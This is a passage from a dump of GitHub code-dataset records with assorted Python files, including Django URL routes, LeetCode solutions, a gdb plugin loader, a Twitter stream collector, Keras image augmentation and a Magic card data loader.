'\\t')\n\ndef ic50_delta(target_uids, conversion_strategies):\n result = np.empty((len(target_uids), len(conversion_strategies)), dtype=np.object)\n result.fill(\"\")\n for i, target_uid in enumerate(target_uids):\n for j, (ic50_conversion_strategy, name) in enumerate(conversion_strategies):\n n = mean_warszycki_logki(\n target_uid=target_uid,\n chembl_filename=\"chembl_24.db\",\n threshold=None,\n include_earliest_year=None,\n ic50_conversion_strategy=ic50_conversion_strategy,\n fit_ic50=True,\n )[\"data_nodes\"][-2]\n assert n.__class__.__name__ == \"FitOriginalIC50ToKi\"\n result[i,j] = \"{:.3f} / {}\".format(\n 2*10**(-n.data[\"IC50_correction\"]),\n n.data[\"how_many_uids_to_estimate_correction\"],\n )\n rows = [target_name(u) for u in target_uids]\n cols = list(list(zip(*conversion_strategies))[1])\n return _table(rows, cols, result, '\\t')\n","repo_name":"lesniak43/ananas","sub_path":"fruits/elderberries/benchmarks2018/figures.py","file_name":"figures.py","file_ext":"py","file_size_in_byte":52363,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"4898997950","text":"import pdb\n\ndef print_func(n):\n if n == 0: # funksiyanı bitirən əsas hal.\n pdb.set_trace()\n return 0\n elif n > 0:\n print(n)\n return print_func(n - 1) # rekursiv çağırış\n\n\nif __name__ == \"__main__\":\n pdb.set_trace()\n print_func(4)\n","repo_name":"AzePUG/Data_Structures_Algo_Python","sub_path":"Source_Code/python_kodlar/fesil2/fesil2_2.5_pdb.py","file_name":"fesil2_2.5_pdb.py","file_ext":"py","file_size_in_byte":278,"program_lang":"python","lang":"az","doc_type":"code","stars":55,"dataset":"github-code","pt":"79"} +{"seq_id":"1753048167","text":"\"\"\"expertreview URL Configuration\r\n\r\nThe `urlpatterns` list routes URLs to views. For more information please see:\r\n https://docs.djangoproject.com/en/3.1/topics/http/urls/\r\nExamples:\r\nFunction views\r\n 1. Add an import: from my_app import views\r\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\r\nClass-based views\r\n 1. Add an import: from other_app.views import Home\r\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\r\nIncluding another URLconf\r\n 1. Import the include() function: from django.urls import include, path\r\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\r\n\"\"\"\r\nfrom django.contrib import admin\r\nfrom django.urls import path\r\nfrom expertreviewapp import views\r\nurlpatterns = [\r\n path('admin/', admin.site.urls),\r\n path('',views.mainhome,name='mainhome'),\r\n path('login/',views.login,name='login'),\r\n path('cusreg',views.cusreg,name='cusreg'),\r\n path('expertreg',views.expertreg,name='expertreg'),\r\n path('addvehicle',views.addvehicle,name='addvehicle'),\r\n path('company',views.company,name='company'),\r\n path('adminviewcus',views.adminviewcus,name='adminviewcus'),\r\n path('adminviewexpert',views.adminviewexpert,name='adminviewexpert'),\r\n path('adminviewvehicle',views.adminviewvehicle,name='adminviewvehicle'),\r\n path('adminhome',views.adminhome,name='adminhome'),\r\n path('deletevehicle',views.deletevehicle,name='deletevehicle'),\r\n path('experthome',views.experthome,name='experthome'),\r\n path('companyhome',views.companyhome,name='companyhome'),\r\n path('expertviewvehicle',views.expertviewvehicle,name='expertviewvehicle'),\r\n path('comvvehicle',views.comviewvehicle,name='comvvehicle'),\r\n path('expertreview',views.expertreview,name='expertreview'),\r\n path('expertviewreviews',views.expertviewreviews,name='expertviewreviews'),\r\n path('cushome',views.cushome,name='cushome'),\r\n path('cusviewreviews',views.cusviewreviews,name='cusviewreviews'),\r\n path('custviewvehicle',views.custviewvehicle,name='expertreview'),\r\n \r\n path('expcardetails',views.expcardetails,name='expcardetails'),\r\n path('custcardetails',views.custcardetails,name='custcardetails'),\r\n path('adminreview',views.adminreview,name='adminreview'),\r\n path('adminreviewmore',views.adminreviewmore,name='adminreviewmore'),\r\n path('adminupdatereview',views.adminupdatereview,name='adminupdatereview'),\r\n \r\n path('expertprofile',views.expertprofile,name='expertprofile'),\r\n path('cusprofile',views.cusprofile,name='cusprofile'),\r\n path('req',views.req),\r\n path('expapp',views.expapp),\r\n path('exprem',views.exprem),\r\n path('cusvreq',views.cusvreq),\r\n path('expertvreq',views.expertvreq),\r\n path('comviewvehicle',views.comviewvehicle),\r\n path('inchat',views.inchat,name=\"inchat\"),\r\n path('sfChatPer',views.sfChatPer,name=\"sfChatPer\"),\r\n \r\n \r\n \r\n \r\n \r\n]","repo_name":"Rithw/Main-Project","sub_path":"expertreview/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2931,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"24242308963","text":"from collections import namedtuple\n\nimport gdb\n\ndef _load_pwndbg():\n try:\n import pwndbg\n except:\n return None\n\n from gdb_comments.integrations.pwndbg_patch import load\n load()\n\n from gdb_comments.integrations import pwndbg_utils\n return pwndbg_utils\n\ndef _load_peda():\n # PEDA was never designed to be imported. Instead of writing an overt rant\n # here, I will simply list a series of facts and let the astute reader draw\n # their own conclusions (and my appologies to the keen gramarian for my use\n # of the gender-neutral, singular \"they\").\n #\n # Typically in Python, when you want to import something, you type\n # `import something` at the top of your file and it Just Works. Sadly, peda\n # cannot be imported this way. The main file (that contains the majority of\n # code in peda) is a 6,000+ line script that contains at least two classes\n # and 50 lines of initialization code that is not guarded inside of a\n # standard `if __name__ == '__main__'` construct.\n #\n # In the event that you could convince Python to load this file, peda would\n # generate a second instance of the PEDA class which would be in direct\n # violation of the comment above the instance stating\n #\n # # global instances of PEDA() and PEDACmd()\n # peda = PEDA()\n #\n # Typically, a project implicitly demonstrates how to import itself via its\n # test suite. However, peda has no tests and therefore cannot serve as a\n # reference on importing itself.\n #\n # With that said, I know that the peda object exists in memory. I can (and\n # do) `import gdb` and potentially the global namespace accessible through\n # the GDB interpreter is available through that import although I could\n # never find it. I wouldn't be surprised if a knowledgable someone came\n # across this comment and just so happened to know how to access the\n # interpreter environment through `import gdb`. However, I was unable to\n # find it.\n #\n # And that finally brings us to the third and current solution. Given that\n # the peda object is sitting somewhere in memory and this code is getting\n # executed under the same Python process, this code should be able to find\n # the peda object. A quick search on SO yielded a simple, yet horrific,\n # answer: just get a list of every object known to the garbage collector.\n # From there, find one with the correct class name (although I need to\n # compare strings because I don't actually have a reference to the PEDA\n # class).\n #\n # If you have had the patience to read this rather lengthy wall of text, my\n # hope is that you will understand why the next few lines of code exist and\n # why I am not a terrible person for writing them.\n import gc\n\n peda = None\n for obj in gc.get_objects():\n if str(obj.__class__) == \"\":\n peda = obj\n break\n if peda is None:\n return None\n\n from gdb_comments.integrations.peda_patch import load\n load(peda)\n\n from gdb_comments.integrations import peda_utils\n return peda_utils\n\ndef _make_utils():\n _utils = None\n if _utils is None:\n _utils = _load_pwndbg()\n\n # Loading PEDA is very inefficient so make sure it's the last thing we try.\n if _utils is None:\n _utils = _load_peda()\n\n if _utils is None:\n raise EnvironmentError('Could not find a supported environment to load comments.')\n return _utils.info, _utils.error\n\ninfo, error = _make_utils()\nutils = _make_utils()\n","repo_name":"supersam654/gdb-comments","sub_path":"gdb_comments/integrations/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":3582,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"10208468839","text":"#invoer\nuur_vertrek_thuis = int(input('Geef uur vertrek thuis: '))\nminuten_vertrek_thuis = int(input('Geef minuten vertrek thuis: '))\nuur_aankomst_bij_vriendin = int(input('Geef uur aankomst bij vriendin: '))\nminuten_aankomst_bij_vriendin = int(input('Geef minuten aankomst bij vriendin: '))\nuur_vertrek_van_vriendin = int(input('Geef uur vertrek van vriendin: '))\nminuten_vertrek_van_vriendin = int(input('Geef minuten vertrek van vriendin: '))\nuur_aankomst_thuis = int(input('Geef uur aankomst thuis: '))\nminuten_aankomst_thuis = int(input('Geef minuten aankomst thuis: '))\n\n#berekening reistijd heen of terug\nresultaat = ((1440 - (uur_vertrek_thuis * 60 + minuten_vertrek_thuis)) + (uur_aankomst_thuis * 60 + minuten_aankomst_thuis)) % 1440\nresultaat -= ((1440 - (uur_aankomst_bij_vriendin * 60 + minuten_aankomst_bij_vriendin)) + (uur_vertrek_van_vriendin * 60 + minuten_vertrek_van_vriendin)) % 1440\nresultaat /= 2\n\n\n#berekening tijdstip\ncorrecte_minuten_aankomst_thuis = int((minuten_vertrek_van_vriendin + (resultaat % 60)) % 60)\ncorrecte_uur_aankomst_thuis = int(((uur_vertrek_van_vriendin + (resultaat // 60)) + ((minuten_vertrek_van_vriendin +resultaat % 60)) // 60) % 24)\nprint(correcte_uur_aankomst_thuis)\nprint(correcte_minuten_aankomst_thuis)\n\n#15:45 945 18:05 1085 140\n# 16:30 990 17:14 1024 34\n# 53\n# python console gebruiken als rekenmachine\n#21 14 11 45 22 58 14 59 2 14\n#15 1 17 5 18 1 18 23 19 14\n#557213823281659284\n\n\n\n\n\n","repo_name":"astilleman/Informatica5","sub_path":"04 - Variabelen/De gestopte klok.py","file_name":"De gestopte klok.py","file_ext":"py","file_size_in_byte":1465,"program_lang":"python","lang":"nl","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"11387493080","text":"#!usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n\"\"\"\nATM module.\n\"\"\"\n\n__author__ = 'Ziang Lu'\n\nfrom atm.dispatcher import (\n FiveDispatcher, HundredDispatcher, OneDispatcher, TenDispatcher,\n TwentyDispatcher\n)\n\n\nclass AtmMachine:\n __slots__ = ['_first_dispatcher']\n\n def __init__(self):\n \"\"\"\n Default constructor.\n \"\"\"\n self._first_dispatcher = HundredDispatcher.get_instance(\n TwentyDispatcher.get_instance(\n TenDispatcher.get_instance(\n FiveDispatcher.get_instance(OneDispatcher.get_instance())\n )\n )\n )\n\n def withdraw(self, requested_amount: int) -> None:\n \"\"\"\n Withdraws the given amount of money from this ATM.\n :param requested_amount: int\n :return: None\n \"\"\"\n # Delegate to the dispatchers to handle this withdraw request\n self._first_dispatcher.dispatch(requested_amount)\n","repo_name":"Ziang-Lu/Design-Patterns","sub_path":"4-Behavioral Patterns/8-Chain of Responsibility Pattern/Usage 2-One or More Receivers Handle Request/Python/atm/atm_machine.py","file_name":"atm_machine.py","file_ext":"py","file_size_in_byte":948,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"79"} +{"seq_id":"15130103600","text":"class Solution:\n def minCost(self, nums: List[int], cost: List[int]) -> int:\n res=0\n nums = sorted(zip(nums,cost))\n total = sum(cost)//2\n for num,cost in nums:\n res+=cost\n if res>total:\n mid = num\n break\n return sum(abs(mid-n)*c for n,c in nums)","repo_name":"iamcvarma/DSA-leetcode","sub_path":"2448-minimum-cost-to-make-array-equal/2448-minimum-cost-to-make-array-equal.py","file_name":"2448-minimum-cost-to-make-array-equal.py","file_ext":"py","file_size_in_byte":335,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"26914915515","text":"import ipaddress as IP\nfrom os import system as linux\nlinux(\"clear\")\n\nip = '192.168.0.100'\n\nendereco = IP.ip_address(ip)\nrede = IP.ip_network(ip)\n\nprint(f\"rede: {rede}\")\n","repo_name":"Lucas20santos/BancoCarregourDataEngineer","sub_path":"FundamentosArquiteturaSistema/codigos/ips.py","file_name":"ips.py","file_ext":"py","file_size_in_byte":170,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"5107642347","text":"import collections as co\nimport matplotlib.pyplot as plt\nfrom matplotlib.figure import Figure\nfrom matplotlib.colors import LinearSegmentedColormap\nfrom matplotlib.ticker import NullLocator\nfrom matplotlib.backends.backend_agg import FigureCanvasAgg\nimport numpy as np\nimport os.path as op\nimport io\n# ---------------------------------------------------------------------------\n\nFORMAT = 'png'\n\n# ---------------------------------------------------------------------------\n\nScatterplotData = co.namedtuple('ScatterplotData', 'label shape level x y')\nPixel = co.namedtuple('Pixel', 'x y')\nScatterplotMetaData = co.namedtuple('ScatterplotMetaData',\n 'readout ligand concentration time')\nPointSpec = co.namedtuple('PointSpec', 'label shape level')\nResponseData = co.namedtuple('ResponseData', 'metadata data')\nMarkerSpec = co.namedtuple('MarkerSpec', 'marker color')\n\nmarker_map = {\n 'triangle': MarkerSpec('^', 'orange'),\n 'circle': MarkerSpec('o', 'mediumpurple'),\n 'square': MarkerSpec('s', 'mediumseagreen'),\n }\n\ndpi = 72.0\n\ncmap_bwr = LinearSegmentedColormap.from_list('bwr', ['blue', 'white', 'red'])\n\ndef scatterplot(points, metadata, lims=None, outpath='/dev/null',\n display=False):\n f = Figure(figsize=(300 / dpi, 300 / dpi), dpi=dpi)\n ax = f.gca()\n for p in points:\n if p.level is None:\n # overrides cmap\n color = marker_map[p.shape].color\n else:\n color = p.level\n ax.scatter(p.x, p.y, c=color, vmin=0, vmax=1, linewidth=0.5,\n marker=marker_map[p.shape].marker, s=100, cmap=cmap_bwr)\n if lims is None:\n all_data = sum(([p.x, p.y] for p in points), [])\n dmin = min(all_data)\n dmax = max(all_data)\n drange = dmax - dmin\n lims = dmin - drange * 0.1, dmax + drange * 0.1\n ax.set_xlim(lims)\n ax.set_ylim(lims)\n ax.set_aspect('equal')\n ax.set_xlabel(build_label(metadata[0]))\n ax.set_ylabel(build_label(metadata[1]))\n for loc in 'top', 'right':\n ax.spines[loc].set_color('none')\n ax.xaxis.set_ticks_position('bottom')\n ax.yaxis.set_ticks_position('left')\n f.subplots_adjust(left=0.2, bottom=0.15, right=1, top=1, wspace=0, hspace=0)\n plt.setp(f, 'facecolor', 'none')\n\n canvas = FigureCanvasAgg(f)\n f.set_canvas(canvas)\n\n # must always be called, even if outpath is '/dev/null', so that the\n # returned figure object yields consistent pixel coordinates\n canvas.print_png(outpath)\n\n if display:\n plt.show()\n\n return f\n\ndef pixels(points, figure):\n transform = figure.gca().transData.transform\n # see http://matplotlib.org/devel/transformations.html#matplotlib.transforms.Transform.transform\n height = figure.canvas.get_width_height()[1]\n return tuple(Pixel(int(round(q[0])), int(round(height - q[1])))\n for q in transform(np.array([(p.x, p.y) for p in points])))\n\n\ndef build_label(metadata):\n readout, ligand, concentration, time = metadata\n if readout is not None and all(x is None for x in (ligand, concentration, time)):\n # basal\n label = 'basal %s (a.u.)' % readout\n elif all(x is not None for x in metadata):\n # ligand response\n label = '%s [%s]\\n(fold change over basal)' % (readout, ligand)\n else:\n raise ValueError(\"unknown combination of metadata values\")\n return label\n\n\ndef legend_categorical(target_dir):\n # this just generates pieces, still need to manually assemble them\n # into the final result\n f = Figure(figsize=(300/dpi, 300/dpi), dpi=dpi)\n ax = f.gca()\n for subtype, shape in (('HER2amp', 'triangle'),\n ('TN', 'circle'),\n ('HR+', 'square')):\n ax.plot(0, 0, marker=marker_map[shape].marker, mfc=marker_map[shape].color,\n label=subtype, ls='none')\n ax.legend(prop={'size': 12})\n filename = op.join(target_dir, 'legend-categorical.png')\n canvas = FigureCanvasAgg(f)\n canvas.print_png(filename)\n\n\ndef legend_graded(target_dir):\n # this just generates pieces, still need to manually assemble them\n # into the final result\n f = Figure(figsize=(300/dpi, 300/dpi), dpi=dpi)\n ax = f.gca()\n for subtype, shape in (('HER2amp', 'triangle'),\n ('TN', 'circle'),\n ('HR+', 'square')):\n ax.plot(0, 0, marker=marker_map[shape].marker, label=subtype, mfc='none', ls='none')\n ax.set_xlabel('Subtype')\n cax = ax.imshow([[0,1]], cmap=cmap_bwr)\n cbar = f.colorbar(cax, ticks=[0, 0.5, 1], orientation='horizontal')\n cbar.ax.set_xticklabels(['Weak', 'Medium', 'Strong'])\n cbar.ax.set_xlabel('Lapatinib response')\n plt.setp(cbar.ax.get_xticklines(), alpha=0)\n ax.legend(prop={'size': 12})\n f.set_facecolor('none')\n filename = op.join(target_dir, 'legend-graded.png')\n canvas = FigureCanvasAgg(f)\n canvas.print_png(filename)\n\n\nif __name__ == '__main__':\n points = (ScatterplotData('AU-565', 'triangle', 0.554, 4.308, 4.311),\n ScatterplotData('BT-20', 'circle', 0.043, 3.843, 3.877),\n ScatterplotData('BT-474', 'triangle', 0.496, 3.455, 3.535),\n ScatterplotData('BT-483', 'square', 1.000, 3.805, 3.685),\n ScatterplotData('BT-549', 'circle', 0.873, 3.333, 3.197),\n ScatterplotData('CAMA-1', 'square', 1.000, 3.343, 3.230),\n ScatterplotData('HCC1187', 'circle', 0.403, 3.818, 3.723),\n ScatterplotData('HCC1395', 'circle', 0.859, 3.682, 3.720),\n ScatterplotData('HCC1419', 'triangle', 0.501, 4.068, 4.051),\n ScatterplotData('HCC1428', 'square', 0.640, 3.590, 3.376),\n ScatterplotData('HCC1806', 'circle', 0.246, 3.877, 3.843),\n ScatterplotData('HCC1937', 'circle', 0.854, 3.862, 3.727),\n ScatterplotData('HCC1954', 'triangle', 0.162, 4.032, 3.996),\n ScatterplotData('HCC202', 'triangle', 0.838, 4.199, 4.197),\n ScatterplotData('HCC38', 'circle', 1.000, 3.919, 3.838),\n ScatterplotData('HCC70', 'circle', 0.000, 4.263, 4.307),\n ScatterplotData('MCF7__b', 'square', 1.000, 3.148, 2.951),\n ScatterplotData('MDA-MB-134-VI', 'square', 1.000, 3.442, 3.475),\n ScatterplotData('MDA-MB-157', 'circle', 0.921, 3.294, 2.611),\n ScatterplotData('MDA-MB-175-VII', 'square', 0.163, 4.052, 3.831),\n ScatterplotData('MDA-MB-231__a', 'circle', 0.860, 3.903, 3.524),\n ScatterplotData('MDA-MB-361', 'triangle', 0.994, 3.092, 2.991),\n ScatterplotData('MDA-MB-436', 'circle', 0.950, 3.781, 3.635),\n ScatterplotData('MDA-MB-453', 'circle', 0.889, 3.290, 3.424),\n ScatterplotData('SK-BR-3__a', 'triangle', 0.608, 3.986, 3.999),\n ScatterplotData('T47D', 'square', 0.921, 3.804, 3.835),\n ScatterplotData('UACC-812', 'triangle', 0.537, 3.908, 3.907),\n ScatterplotData('UACC-893', 'triangle', 0.539, 3.677, 3.709),\n ScatterplotData('ZR-75-1', 'square', 1.000, 3.884, 3.569))\n metadata = (ScatterplotMetaData(readout='pErk', ligand='EGF', concentration='100', time=None),\n ScatterplotMetaData(readout='pErk', ligand='EPR', concentration='100', time=None))\n lims = (1.518, 4.395)\n\n scatterplot(points, metadata, lims, display=True)\n","repo_name":"hmslincs/hmslincs","sub_path":"src/scatterplot.py","file_name":"scatterplot.py","file_ext":"py","file_size_in_byte":7457,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"79"} +{"seq_id":"74305061694","text":"import tweepy\nfrom tweepy import Stream\nfrom tweepy.streaming import StreamListener\n\nfrom twitter_auth import authenticate_twitter_app\nfrom db_stuff import UserDB\n\nclass MyStreamListener(tweepy.StreamListener):\n \"\"\"\n Twitter listener, collects streaming tweets and output to a file\n \"\"\"\n\n def __init__(self, output_file=\"alc_tweets.db\", max_tweets=1000):\n super(MyStreamListener, self).__init__()\n self.max_tweets = max_tweets\n self.num_tweets = 0\n self.good_tweets = 0\n self.db = UserDB(output_file)\n\n def on_status(self, status):\n #print(status.text)\n tweet = status._json\n self.num_tweets=self.num_tweets+1\n \n text = \"\"\n \n # catching extended tweets (only way i found to do this with streaming API)\n try:\n text = status.extended_tweet['full_text']\n except:\n text = status.text\n\n if status.place != None:\n print(\"Inserting tweet of length: \" + str(len(text)))\n print(\"Text: \" + text)\n print(\"Country code: \" + status.place.country_code)\n self.good_tweets=self.good_tweets+1\n self.db.insert_tweet(int(status.user.id_str), text, status.place.country_code)\n self.db.save_changes()\n\n # Stops streaming when it reaches the limit\n if self.num_tweets <= self.max_tweets:\n if self.num_tweets % 100 == 0: # just to see some progress...\n print(str(self.num_tweets) + \" collected -> \" + str(self.good_tweets) + \" are applicable\")\n return True\n else:\n return False\n\n def on_error(self, status):\n print(status)\n return False\n \n def __del__(self):\n pass\n\n\nif __name__ == '__main__':\n\n print(\"Run Listener for crawling twitter data\")\n\n #Define search content\n key_words =[\"alcohol,beer,wine,drunk,drinking alcohol,party alcohol\"]\n\n\n l = MyStreamListener(max_tweets=100000)\n\n # Create you Stream object with authentication\n auth = authenticate_twitter_app()\n stream = tweepy.Stream(auth=auth, listener=l)\n\n # Filter Twitter Streams to capture data by the keywords:\n stream.filter(track=key_words,languages=['en'])\n\n# try out db stuff\n \n","repo_name":"DanielSudy/SMTAlcoholConsumption","sub_path":"sentiment_analysis/alcohol_streamer.py","file_name":"alcohol_streamer.py","file_ext":"py","file_size_in_byte":2264,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"39507001799","text":"# 309. Best Time to Buy and Sell Stock with Cooldown\n# https://leetcode.com/problems/best-time-to-buy-and-sell-stock-with-cooldown/description/\n\nfrom functools import lru_cache\n\nclass Solution:\n def maxProfit(self, prices: List[int]) -> int:\n \n\n # Solution 1 - Dfs with memoization \n\n # cache = {}\n\n # @lru_cache\n # def dfs(i, canBuy):\n # # if (i, canBuy) in cache:\n # # return cache[(i, canBuy)]\n\n # if i >= len(prices):\n # return 0\n\n \n # res = dfs(i+1, canBuy)\n\n # if canBuy:\n # res = max(dfs(i+1, not canBuy) - prices[i], res)\n # else:\n # res = max(dfs(i+2, not canBuy) + prices[i], res)\n\n # # cache[(i, canBuy)] = res\n\n # return res\n\n # return dfs(0, True)\n\n\n # Solution 2 - Dynamic programming (Bottom up) approach with tabulation \n n = len(prices)\n\n stock = [0] * (n)\n no_stock = [0] * (n)\n sold = [0] * (n)\n\n stock[0] = -prices[0]\n\n\n for i in range(1, n):\n stock[i] = max(stock[i-1], no_stock[i-1] - prices[i])\n no_stock[i] = max(no_stock[i-1], sold[i-1])\n sold[i] = stock[i-1] + prices[i]\n\n return max(sold[n-1], no_stock[n-1])\n\n\n # Solution 3 - Space optimisation. You would only need three variables to hold previous state and nothing else hence space can be optimised to be constant. \n\n # n = len(prices)\n\n # stock = -prices[0]\n # no_stock = 0\n # sold = 0\n\n # for i in range(1, n):\n # prev_stock = stock\n # stock = max(stock, no_stock - prices[i])\n # no_stock = max(no_stock, sold)\n # sold = prev_stock + prices[i]\n\n\n # return max(sold, no_stock)\n\n\n\n \n\n \n# Example 1:\n\n# Input: prices = [1,2,3,0,2]\n# Output: 3\n# Explanation: transactions = [buy, sell, cooldown, buy, sell]\n \n# Example 2:\n\n# Input: prices = [1]\n# Output: 0\n\n\n\n\n\n\n\n\n","repo_name":"anoopanni/leetcode","sub_path":"BuySellStock.py","file_name":"BuySellStock.py","file_ext":"py","file_size_in_byte":2029,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"71553703615","text":"import os\nimport argparse\n\nimport paddle\n\nfrom arch_unet import UNet\nfrom utils import load_pretrained_model\n\ndef parse_args():\n parser = argparse.ArgumentParser(description='Model export.')\n parser.add_argument(\n '--save_dir',\n dest='save_dir',\n help='The directory for saving the exported model',\n type=str,\n default='./output')\n parser.add_argument(\n '--model_path',\n dest='model_path',\n help='The path of model for export',\n type=str,\n default=None)\n\n return parser.parse_args()\n\n\ndef main(args):\n\n net = UNet(in_nc=3,\n out_nc=3,\n n_feature=48)\n\n if args.model_path:\n para_state_dict = paddle.load(args.model_path)\n net.set_dict(para_state_dict)\n print('Loaded trained params of model successfully.')\n\n\n shape = [-1, 3, 256, 256]\n\n new_net = net\n\n new_net.eval()\n new_net = paddle.jit.to_static(\n new_net,\n input_spec=[paddle.static.InputSpec(shape=shape, dtype='float32')])\n save_path = os.path.join(args.save_dir, 'model')\n paddle.jit.save(new_net, save_path)\n\n # yml_file = os.path.join(args.save_dir, 'deploy.yaml')\n # with open(yml_file, 'w') as file:\n # transforms = cfg.export_config.get('transforms', [{\n # 'type': 'Normalize'\n # }])\n # data = {\n # 'Deploy': {\n # 'transforms': transforms,\n # 'model': 'model.pdmodel',\n # 'params': 'model.pdiparams'\n # }\n # }\n # yaml.dump(data, file)\n\n print(f'Model is saved in {args.save_dir}.')\n\n\nif __name__ == '__main__':\n args = parse_args()\n main(args)","repo_name":"txyugood/Neighbor2Neighbor_Paddle","sub_path":"export_model.py","file_name":"export_model.py","file_ext":"py","file_size_in_byte":1702,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"79"} +{"seq_id":"74035403456","text":"## Augmentation ##\r\n#Image shifts via the width_shift_range and height_shift_range arguments.\r\n#Image flips via the horizontal_flip and vertical_flip arguments.\r\n#Image rotations via the rotation_range argument\r\n#Image brightness via the brightness_range argument.\r\n#Image zoom via the zoom_range argument.\r\n\r\n\r\nfrom keras.preprocessing.image import ImageDataGenerator, array_to_img, img_to_array, load_img\r\n\r\n# Construct an instance of the ImageDataGenerator class\r\n# Pass the augmentation parameters through the constructor. \r\n\r\ndatagen = ImageDataGenerator(\r\n rotation_range=40, # Random rotation between 0 and 40\r\n width_shift_range=0.2, # % shift\r\n height_shift_range=0.2,\r\n shear_range=0.2,\r\n zoom_range=0.2,\r\n horizontal_flip=True,\r\n fill_mode='nearest') # can also try nearest, constant, reflect, wrap\r\n\r\n\r\n\r\n############## Loading a single image and do the augmentation ##############\r\n\r\n#Using flow method to augment the image\r\n# Loading a sample image \r\n#Can use any library to read images but they need to be in an array form\r\n#If using keras load_img convert it to an array first\r\n\r\nimg = load_img('F:/AI assignment/AI assignment/Convolutional Neural Network_Assign_module_9/Augment_images/images/000001.jpg') # this is a PIL image\r\nx = img_to_array(img) # this is a Numpy array with shape (500, 353, 3)\r\n\r\n# Reshape the input image because ...\r\n#x: Input data to datagen.flow must be Numpy array of rank 4 or a tuple.\r\n#First element represents the number of images\r\nx = x.reshape((1,) + x.shape) # this is a Numpy array with shape (1, 500, 353, 3)\r\n\r\n# the .flow() command below generates batches of randomly transformed images\r\n# and saves the results to the `augmented_output/` directory\r\ni = 0\r\nfor batch in datagen.flow(x, batch_size=1,\r\n save_to_dir='F:/AI assignment/AI assignment/Convolutional Neural Network_Assign_module_9/Augment_images/augmented_output', save_prefix='man_with_puppy', save_format='jpeg'):\r\n i += 1\r\n if i > 4:\r\n break # otherwise the generator would loop indefinitely\r\n \r\n \r\n\r\n####################### Multiple images ######################\r\n\r\n#Manually read each image and create an array to be supplied to datagen via flow method\r\ndataset = []\r\n\r\nimport numpy as np\r\nfrom skimage import io\r\nimport os\r\nfrom PIL import Image\r\n\r\nimage_directory = 'F:/AI assignment/AI assignment/Convolutional Neural Network_Assign_module_9/Augment_images/images/'\r\nSIZE = 400\r\ndataset = []\r\n\r\nmy_images = os.listdir(image_directory)\r\nfor i, image_name in enumerate(my_images):\r\n if (image_name.split('.')[1] == 'jpg'):\r\n image = io.imread(image_directory + image_name)\r\n image = Image.fromarray(image, 'RGB')\r\n image = image.resize((SIZE,SIZE))\r\n dataset.append(np.array(image))\r\n\r\nx = np.array(dataset) # this is a Numpy array with shape (7, 400, 400, 3)\r\n\r\ni = 0\r\nfor batch in datagen.flow(x, batch_size=1,\r\n save_to_dir='F:/AI assignment/AI assignment/Convolutional Neural Network_Assign_module_9/Augment_images/augmented_output', save_prefix='augments', save_format='jpeg'):\r\n i += 1\r\n if i > 27:\r\n break # otherwise the generator would loop indefinitely\r\n \r\n\r\n###################### accessing image in Multiclass problem #####################\r\n# Read directly from the folder structure using flow_from_directory\r\n\r\ni = 0\r\nfor batch in datagen.flow_from_directory(directory='F:/AI assignment/AI assignment/Convolutional Neural Network_Assign_module_9/Augment_images/', \r\n batch_size=16, \r\n target_size=(400, 400),\r\n color_mode=\"rgb\",\r\n save_to_dir='F:/AI assignment/AI assignment/Convolutional Neural Network_Assign_module_9/Augment_images/augmented_output', \r\n save_prefix='augments', \r\n save_format='png'):\r\n i += 1\r\n if i > 4:\r\n break \r\n\r\n#Creates 32 images for each class. \r\n \r\n#Once data is augmented, you can use it to fit a model via: fit.generator\r\n#instead of fit()\r\n#model = \r\n#fit model on augmented data\r\n#model.fit_generator(datagen.flow(x))","repo_name":"anandkvvlr/AI_assignment-works","sub_path":"CNN/module_9.py","file_name":"module_9.py","file_ext":"py","file_size_in_byte":4353,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"6471816742","text":"import re\nimport json\nimport time\nimport datetime\nimport pandas as pd\n\nwith open(\"./AtomicCards.json\") as card_data:\n j_data = json.load(card_data)\n meta_data = j_data[\"meta\"]\n data = j_data[\"data\"]\n keys = list(data.keys())\n\nwith open(\"./SetList.json\") as set_data:\n set_j_data = json.load(set_data)\n set_meta_data = set_j_data[\"meta\"]\n set_data = set_j_data[\"data\"]\n dated = { time.mktime(datetime.datetime.strptime(s[\"releaseDate\"], \"%Y-%m-%d\").timetuple()) \\\n : (s[\"code\"] if \"parentCode\" not in s.keys() else s[\"parentCode\"], s[\"releaseDate\"]) for s in set_data}\n date_list = list(dated.keys())\n date_list.sort()\n sorted_dated = [dated[x] for x in date_list]\n\nINVALID_SETS = [\"PCEL\", \"PRM\"]\nFORBIDDEN_SETS = [\"UST\", \"UNH\", \"UGL\", \"UND\", \"AFR\", \"PCEL\", \"HHO\"]\n\ndef has_forb_set(c):\n ps = c[\"printings\"]\n if len(list(filter(lambda x : x not in FORBIDDEN_SETS, ps))) == 0:\n return True\n return False\n\nFORBIDDEN_TYPES = [\"Dungeon\"]\n\ndef has_forb_type(c):\n if c[\"type\"] in FORBIDDEN_TYPES:\n return True\n return False\n\ndouble_face_re = re.compile(r\"(.+) // (.+)\")\n\ndef get_print(c):\n valid_printings = list(filter(lambda x : len(x) <= 3 and x not in INVALID_SETS, c[\"printings\"]))\n for i in range(len(sorted_dated)):\n c_set = sorted_dated[i]\n if c_set[0] in valid_printings:\n 